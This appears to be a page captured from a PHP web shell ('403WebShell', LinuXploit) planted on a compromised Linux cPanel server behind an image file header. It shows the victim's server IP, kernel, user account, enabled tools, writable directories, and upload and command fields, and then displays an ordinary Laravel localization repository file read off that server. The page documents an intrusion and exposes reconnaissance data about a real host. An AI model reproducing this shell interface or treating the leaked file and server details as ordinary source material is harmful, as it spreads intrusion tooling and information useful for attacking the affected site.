����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 3.133.122.6
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/builderbox/www/common/Localizations/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/builderbox/www/common/Localizations/LocalizationsRepository.php
<?php namespace Common\Localizations;

use Arr;
use Illuminate\Filesystem\Filesystem;
use Illuminate\Database\Eloquent\Collection;

class LocalizationsRepository
{
    /**
     * @var Filesystem
     */
    private $fs;

    /**
     * @var Localization
     */
    private $localization;

    /**
     * Path to files with default localization language lines.
     */
    const DEFAULT_TRANS_PATHS = [
        'client-translations.json',
        'server-translations.json',
    ];

    /**
     * @param Filesystem $fs
     * @param Localization $localization
     */
    public function __construct(Filesystem $fs, Localization $localization)
    {
        $this->fs = $fs;
        $this->localization = $localization;
    }

    /**
     * @return Collection
     */
    public function all()
    {
        return $this->localization
            ->all()
            ->map(function (Localization $localization) {
                return ['model' => $localization];
            });
    }

    /**
     * @param string $name
     * @return array
     */
    public function getByNameOrCode($name)
    {
        $localization = $this->localization
            ->where('name', $name)
            ->orWhere('language', $name)
            ->first();
        if (!$localization) {
            return null;
        }

        return [
            'model' => $localization,
            'lines' => $this->getLocalizationLines($localization),
        ];
    }

    public function update(int $id, array $data, $overrideLines = false)
    {
        $localization = $this->localization->findOrFail($id);
        $localization->updated_at = now();
        $language = Arr::get($data, 'language');

        if (isset($data['name']) && $data['name'] !== $localization->name) {
            $localization->name = $data['name'];
        }

        if ($language && $language !== $localization->language) {
            $this->renameLocalizationLinesFile($localization, $language);
            $localization->language = $language;
        }

        if (isset($data['lines']) && $data['lines']) {
            $this->storeLocalizationLines(
                $localization,
                $data['lines'],
                $overrideLines,
            );
        }

        $localization->save();

        return $this->getByNameOrCode($localization->name);
    }

    /**
     * @param array $params
     * @return array
     */
    public function create($params)
    {
        $localization = $this->localization->create([
            'name' => $params['name'],
            'language' => $params['language'],
        ]);

        $lines = $this->getDefaultTranslationLines();
        $this->storeLocalizationLines($localization, $lines);

        return $this->getByNameOrCode($localization->name);
    }

    /**
     * Delete localization matching specified id.
     *
     * @param integer $id
     * @return bool|null
     */
    public function delete($id)
    {
        $localization = $this->localization->findOrFail($id);

        $this->fs->delete($this->makeLocalizationLinesPath($localization));

        return $localization->delete();
    }

    /**
     * Get default translations lines for the application.
     *
     * @return array
     */
    public function getDefaultTranslationLines()
    {
        $combined = [];

        foreach (self::DEFAULT_TRANS_PATHS as $path) {
            if (!$this->fs->exists(resource_path($path))) {
                continue;
            }
            $combined = array_merge(
                $combined,
                json_decode($this->fs->get(resource_path($path)), true),
            );
        }

        return $combined;
    }

    public function storeLocalizationLines(
        Localization $localization,
        $newLines,
        $override = false
    ) {
        $path = $this->makeLocalizationLinesPath($localization);
        $oldLines = [];

        if (!$override && file_exists($path)) {
            $oldLines = json_decode(file_get_contents($path), true);
        }

        $merged = array_merge($oldLines, $newLines);

        return file_put_contents(
            $path,
            json_encode($merged, JSON_UNESCAPED_UNICODE),
        );
    }

    /**
     * @param Localization $localization
     * @return array
     */
    public function getLocalizationLines(Localization $localization)
    {
        $path = $this->makeLocalizationLinesPath($localization);

        if (file_exists($path)) {
            return json_decode(file_get_contents($path), true);
        } else {
            return [];
        }
    }

    public function makeLocalizationLinesPath(Localization $localization)
    {
        return resource_path("lang/$localization->language.json");
    }

    /**
     * @param Localization $localization
     * @param string $newLangCode
     * @return bool
     */
    public function renameLocalizationLinesFile(
        Localization $localization,
        $newLangCode
    ) {
        $oldPath = $this->makeLocalizationLinesPath($localization);
        $newPath = str_replace($localization->language, $newLangCode, $oldPath);
        return $this->fs->move($oldPath, $newPath);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit